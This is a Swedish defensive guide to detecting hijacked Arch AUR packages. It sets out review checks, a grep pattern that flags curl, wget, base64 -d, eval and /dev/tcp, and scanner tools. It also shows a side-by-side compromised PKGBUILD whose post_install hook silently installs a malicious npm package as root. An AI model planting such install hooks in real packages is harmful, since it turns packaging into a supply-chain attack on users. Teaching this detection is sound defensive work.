Sedan sommaren 2026 har tusentals AUR-paket kapats i upprepade vågor. Så här läser du en PKGBUILD för att se skillnaden mellan ett rent paket och ett som skickar dina hemligheter vidare.
Angripare adopterade övergivna AUR-paket via den vanliga "adopt"-funktionen, behöll namn och historik, och bytte sedan ut byggskriptet. Mönstret återkom om och om igen: en tyst rad i en .install-fil laddade ner en sekundär nyttolast (bland annat en Rust-baserad infostealer och i vissa fall en eBPF-rootkit) — men bara vid installation, inte vid bygget. Det gjorde att makepkg såg helt normalt ut, medan pacman -U körde payloaden som root. Detta är nu tredje stora vågen under 2026, och senaste vågen visar att angriparna även börjat kompromettera redan etablerade konton — inte bara ta över övergivna paket.
Sex saker att alltid kolla, i den ordningen.
Skadlig kod läggs ofta längst ner, efter den normala build()/package()-koden, i hopp om att du slutar läsa tidigare.
source=() och sha256sums=()Pekar källan på upstream-projektets eget repo, eller på en okänd fil-host? Är SKIP använt på en vanlig tarball istället för bara -git-paket?
Kör detta mot PKGBUILD och alla .install-filer i paketet:
grep -inE 'curl|wget|npm install|pip install|bun install|base64 -d|eval|exec |/dev/tcp' PKGBUILD *.install
.install-filer extra nogapost_install(), post_upgrade(), pre_remove() körs som root av pacman — den farligaste platsen att gömma kod, eftersom byggsteget inte rör dem alls.
Nyligen bytt maintainer? Plötsligt hopp i pkgrel utan att pkgver ändrats? Jämför mot Git-loggen: aur.archlinux.org/cgit/aur.git/log.
aur-scanner, ks-aur-scanner och signaturlistan lenucksi/aur-malware-check fångar kända mönster — men ersätter aldrig manuell läsning.
Den viktigaste signalen av alla — men den mest gömda. Ett paket som legat stabilt i flera år med samma maintainer och plötsligt fått en ny är exakt mönstret från "Atomic Arch"-kampanjen.
Längst ner till höger på aur.archlinux.org/packages/paketnamn visas tre fält. Skiljer sig Maintainer från Submitter, och du inte kände igen bytet — flagga.
Visar en logg över senaste ändringarna med tidsstämpel och författare, direkt i webbgränssnittet — ingen git-klon behövs för en snabb koll.
Varje AUR-paket är ett eget git-repo. Leta efter en lucka i tid följt av en ensam commit från en ny författare.
Andra användare postar ofta varningar direkt på paketsidan om de märker konstiga ändringar efter en adoption — särskilt nu. Skumma igenom, särskilt på mindre populära paket.
Maintainer bytt sedan dess — läs hela PKGBUILD och alla .install-filer manuellt den gången, oavsett hur välkänt paketet är.
Ett verktyg som byggs med Go, jämfört sida vid sida. Till höger: samma paket efter att ha adopterats av ett angriparkonto — med exakt det mönster som sågs i juni 2026.
# Maintainer: Jane Doe <jane@example.com>pkgname=my-cool-toolpkgver=1.4.2pkgrel=1pkgdesc="A simple CLI tool for doing cool things"arch=('x86_64')url="https://github.com/janedoe/my-cool-tool"license=('MIT')depends=('glibc')makedepends=('go')source=("$pkgname-$pkgver.tar.gz::https://github.com/janedoe/my-cool-tool/archive/refs/tags/v$pkgver.tar.gz")sha256sums=('a1b2c3d4e5f6...') # riktig, verifierbar hashbuild() { cd "$pkgname-$pkgver" go build -o "$pkgname" .}package() { cd "$pkgname-$pkgver" install -Dm755 "$pkgname" "$pkgdir/usr/bin/$pkgname" install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"}
SKIP på en vanlig tarball..install-fil, inga hook-funktioner.# Maintainer: (nyligen adopterad av annat konto)pkgname=my-cool-toolpkgver=1.4.2pkgrel=2pkgdesc="A simple CLI tool for doing cool things"arch=('x86_64')url="https://github.com/janedoe/my-cool-tool"license=('MIT')depends=('glibc')makedepends=('go' 'npm')install=my-cool-tool.installsource=("$pkgname-$pkgver.tar.gz::https://github.com/janedoe/my-cool-tool/archive/refs/tags/v$pkgver.tar.gz")sha256sums=('SKIP')build() { cd "$pkgname-$pkgver" go build -o "$pkgname" .}package() { cd "$pkgname-$pkgver" install -Dm755 "$pkgname" "$pkgdir/usr/bin/$pkgname"}
post_install() { if command -v npm >/dev/null 2>&1; then npm install -g atomic-lockfile --silent 2>/dev/null fi}post_upgrade() { post_install}
Automatiska filter — inget av dem ersätter att läsa filen själv, men de fångar de vanligaste mönstren direkt, innan du ens öppnar editorn.
paru -S — eller ta genvägen och bygg från källkoden direkt via git clone nedan, så slipper du lita på AUR-versionen av verktyget helt. Men samma regel gäller där också: bara för att koden ligger på GitHub istället för AUR betyder inte automatiskt att den är säker. Skumma igenom repot innan du kör cargo build eller liknande — särskilt build.rs, post-install-hooks och eventuella nätverksanrop i byggprocessen — precis som du skulle gjort med en PKGBUILD.
Skriven i Rust. 50+ detektionsregler byggda på dokumenterade attacker, inklusive IOC-databas för juni 2026-kampanjen. Kan köras som pacman-hook för automatisk skanning vid varje transaktion.
Kör samma statiska regelmotor som ks-aur-scanner offline och gratis som första filter, men kan valfritt skicka träffar vidare till en AI-modell för djupare bedömning. Parsar PKGBUILD med en riktig shell-parser, så enkel token-obfuskering (s"ud"o, cu""rl) slinker inte igenom.
Riktar in sig specifikt på juni 2026-kampanjen (atomic-lockfile, js-digest, lockfile-js) och listar de konton som identifierats i attackvågorna. Bra för en snabb "har jag installerat något av de här"-koll, snarare än generell skanning.
Bash-skript som verifierar checksummor, PGP-signaturer och begränsar källor till betrodda domäner innan yay -S körs. Fungerande proof-of-concept men projektet är arkiverat — använd som referens/inspiration snarare än ditt primära skydd.
Samtliga verktygsförfattare säger samma sak, och det är värt att upprepa: statisk analys fångar inte allt, särskilt inte kraftigt obfuskerade eller helt nya mönster. Verktygen är ett förstafilter — inte ett substitut för att faktiskt läsa filen.
Lita aldrig blint på ett paket bara för att det haft många nedladdningar eller sett bra ut tidigare. Läs alla filer i paketet — PKGBUILD och .install — leta efter nätverksanrop och npm/pip/bun install-rader i hook-funktioner, och var extra skeptisk om paketet nyligen bytt maintainer.